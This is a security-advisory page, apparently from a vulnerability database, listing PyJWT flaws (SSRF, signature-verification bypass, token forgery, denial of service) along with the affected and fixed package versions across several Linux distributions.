  • CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
  • CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
Record
SUSE-SU-2026:2626-1
Updated
2026-11-02
OSVSUSE-SU-2026:2627-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues

  • CVE-2026-48522: PyJWKClient passes URI arguments directly to urllib.request.urlopen() and allows for SSRF and token forgery (bsc#1266798).
  • CVE-2026-48523: verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key (bsc#1266799).
  • CVE-2026-48525: unbounded Base64URL decoding of unused payload segment in b64=false detached JWS allows for DoS (bsc#1266801).
  • CVE-2026-48526: no validation of use of JSON Web Keys in HMAC algorithm when decoding JSON Web Tokens allows for forged HS256 tokens (bsc#1266802).
Record
SUSE-SU-2026:2627-1
Updated
2026-11-02
OSVUSN-8823-1 No score

pyjwt vulnerabilities

It was discovered that PyJWT incorrectly handled certain URIs when using PyJWKClient. A remote attacker could possibly use this issue to perform server-side request forgery (SSRF) or expose sensitive local files. This issue only affected Ubuntu 22.04 LTS, Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-48522)

It was discovered that PyJWT incorrectly verified cryptographic signatures when decoding tokens with PyJWK keys. A remote attacker could possibly use this issue to bypass signature verification and forge valid JSON Web Tokens. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-48523)

It was discovered that PyJWT incorrectly handled unknown key identifiers in PyJWKClient. A remote attacker could possibly use this issue to cause PyJWT to make excessive network requests, resulting in a denial of service. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-48524)

It was discovered that PyJWT incorrectly handled payload decoding during detached JWS token verification. A remote attacker could possibly use this issue to cause PyJWT to consume excessive resources, resulting in a denial of service. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-48525)

It was discovered that PyJWT incorrectly validated JSON Web Keys when decoding tokens with both HMAC and asymmetric algorithms enabled. A remote attacker could possibly use this issue to forge valid tokens, resulting in an authentication bypass. (CVE-2026-48526)

Record
USN-8823-1
Updated
2026-11-02

Affected products

Show 29 moreShow less

Affected packages

Affected packages
PackageAffectedFixed
pyjwt
PyPI
through 2.13.0
2.14.0
pyjwt
PyPI
before 2.13.0
2.13.0
fence-agents-aliyun
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-all
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-amt-ws
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-apc
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-apc-snmp
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-aws
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-azure-arm
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-bladecenter
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
Show 290 moreShow less
Affected packages
PackageAffectedFixed
fence-agents-brocade
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-cisco-mds
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-cisco-ucs
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-common
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-drac5
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-eaton-snmp
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-emerson
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-eps
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-gce
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-heuristics-ping
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-hpblade
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-ibm-powervs
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-ibm-vpc
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-ibmblade
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-ifmib
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-ilo-moonshot
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-ilo-mp
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-ilo-ssh
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-ilo2
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-intelmodular
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-ipdu
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-ipmilan
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-kdump
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-kubevirt
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-lpar
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-mpath
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-nutanix-ahv
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-openstack
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-redfish
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-rhevm
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-rsa
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-rsb
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-sbd
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-scsi
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-virsh
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-vmware-rest
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-vmware-soap
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-wti
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-zvm
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-virt
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-virtd
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-virtd-cpg
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-virtd-libvirt
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-virtd-multicast
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-virtd-serial
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-virtd-tcp
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
ha-cloud-support
AlmaLinux:10
before 4.16.0-21.el10_2.2
4.16.0-21.el10_2.2
fence-agents-aliyun
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-all
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-amt-ws
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-apc
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-apc-snmp
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-aws
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-azure-arm
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-bladecenter
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-brocade
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-cisco-mds
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-cisco-ucs
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-common
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-compute
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-drac5
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-eaton-snmp
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-emerson
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-eps
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-gce
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-heuristics-ping
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-hpblade
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-ibm-powervs
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-ibm-vpc
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-ibmblade
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-ifmib
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-ilo-moonshot
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-ilo-mp
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-ilo-ssh
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-ilo2
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-intelmodular
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-ipdu
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-ipmilan
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-kdump
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-kubevirt
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-lpar
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-mpath
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-nutanix-ahv
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-openstack
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-redfish
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-rhevm
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-rsa
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-rsb
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-sbd
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-scsi
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-virsh
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-vmware-rest
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-vmware-soap
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-wti
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-agents-zvm
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-virt
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-virtd
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-virtd-cpg
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-virtd-libvirt
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-virtd-multicast
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-virtd-serial
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
fence-virtd-tcp
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
ha-cloud-support
AlmaLinux:9
before 4.10.0-110.el9_8.3
4.10.0-110.el9_8.3
python-jwt
Azure Linux:3
before 2.13.0-1
2.13.0-1
py3-jwt
Alpaquita:25
2.10.1-r0 up to 2.13.0-r0
2.13.0-r0
py3-jwt
Alpaquita:stream
2.8.0-r1 up to 2.13.0-r0
2.13.0-r0
pyjwt
TuxCare:PyPI
From an advisory covering 4 CVEs
2.10.1 up to 2.10.1.post2+tuxcare, plus listed versions
2.10.1.post1+tuxcare
2.10.1.post2+tuxcare
pyjwt
TuxCare:PyPI
2.8.0 up to 2.8.0.post2+tuxcare, plus listed versions
2.8.0.post1+tuxcare
2.8.0.post2+tuxcare
pyjwt
TuxCare:PyPI
From an advisory covering 2 CVEs
2.3.0 up to 2.3.0.post2+tuxcare, plus listed versions
2.3.0.post1+tuxcare
2.3.0.post2+tuxcare
pyjwt
TuxCare:PyPI
From an advisory covering 3 CVEs
1.7.1 up to 1.7.1.post3+tuxcare, plus listed versions
1.7.1.post1+tuxcare1.7.1.post2+tuxcare
1.7.1.post3+tuxcare
pyjwt
TuxCare:PyPI
2.10.1 up to 2.10.1.post7+tuxcare, plus listed versions
2.10.1.post1+tuxcare2.10.1.post2+tuxcare2.10.1.post3+tuxcare2.10.1.post4+tuxcare2.10.1.post5+tuxcare2.10.1.post6+tuxcare
2.10.1.post7+tuxcare
pyjwt
Debian:12
All versions, plus listed versions
2.10.1-12.10.1-22.10.1-32.10.1-42.11.0-2
Show 8 moreShow less
2.12.1-12.13.0-12.14.0-12.15.0-12.15.1-12.6.0-12.6.0-1+deb12u12.7.0-1
None known
pyjwt
Debian:13
All versions, plus listed versions
2.10.1-22.10.1-2+deb13u12.10.1-32.10.1-42.11.0-2
Show 5 moreShow less
2.12.1-12.13.0-12.14.0-12.15.0-12.15.1-1
None known
pyjwt
Debian:14
before 2.13.0-1, plus listed versions
2.10.1-22.10.1-32.10.1-42.11.0-22.12.1-1
2.13.0-1
pyjwt
PyPI
before 2.14.0, plus listed versions
0.1.10.1.20.1.30.1.40.1.5
Show 45 moreShow less
0.1.60.1.70.1.80.1.90.2.00.2.10.2.30.3.00.3.10.3.20.4.00.4.10.4.20.4.31.0.01.0.11.1.01.3.01.4.01.4.11.4.21.5.01.5.11.5.21.5.31.6.01.6.11.6.31.6.41.7.01.7.12.0.02.0.0a12.0.0a22.0.12.1.02.10.02.10.12.11.02.12.02.12.12.13.02.2.02.3.02.4.0
2.14.0
pyjwt
PyPI
before 2.13.0, plus listed versions
0.1.10.1.20.1.30.1.40.1.5
Show 45 moreShow less
0.1.60.1.70.1.80.1.90.2.00.2.10.2.30.3.00.3.10.3.20.4.00.4.10.4.20.4.31.0.01.0.11.1.01.3.01.4.01.4.11.4.21.5.01.5.11.5.21.5.31.6.01.6.11.6.31.6.41.7.01.7.12.0.02.0.0a12.0.0a22.0.12.1.02.10.02.10.12.11.02.12.02.12.12.2.02.3.02.4.02.5.0
2.13.0
fence-agents
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-aliyun
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-all
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-amt-ws
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-apc
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-apc-snmp
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-aws
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-azure-arm
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-bladecenter
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-brocade
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-cisco-mds
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-cisco-ucs
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-common
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-common-debuginfo
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-debuginfo
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-debugsource
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-drac5
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-eaton-snmp
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-emerson
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-eps
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-gce
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-heuristics-ping
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-hpblade
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-ibm-powervs
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-ibm-vpc
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-ibmblade
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-ifmib
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-ilo-moonshot
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-ilo-mp
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-ilo-ssh
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-ilo2
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-intelmodular
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-ipdu
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-ipmilan
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-kdump
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-kdump-debuginfo
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-kubevirt
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-lpar
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-mpath
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-nutanix-ahv
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-openstack
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-redfish
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-rhevm
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-rsa
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-rsb
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-sbd
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-scsi
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-virsh
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-vmware-rest
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-vmware-soap
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-wti
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents-zvm
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virt
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virt-debuginfo
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virtd
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virtd-cpg
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virtd-cpg-debuginfo
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virtd-debuginfo
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virtd-libvirt
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virtd-libvirt-debuginfo
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virtd-multicast
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virtd-multicast-debuginfo
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virtd-serial
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virtd-serial-debuginfo
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virtd-tcp
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-virtd-tcp-debuginfo
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
ha-cloud-support
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
ha-cloud-support-debuginfo
Red Hat:enterprise_linux:10.2
before 0:4.16.0-21.el10_2.2
0:4.16.0-21.el10_2.2
fence-agents
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-aliyun
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-all
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-amt-ws
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-apc
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-apc-snmp
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-aws
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-azure-arm
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-bladecenter
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-brocade
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-cisco-mds
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-cisco-ucs
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-common
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-compute
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-debuginfo
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-debugsource
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-drac5
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-eaton-snmp
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-emerson
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-eps
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-gce
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-heuristics-ping
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-hpblade
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-ibm-powervs
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-ibm-vpc
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-ibmblade
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-ifmib
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-ilo-moonshot
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
0:4.10.0-110.el9_8.3
fence-agents-ilo-mp
Red Hat:enterprise_linux:9::appstream
before 0:4.10.0-110.el9_8.3
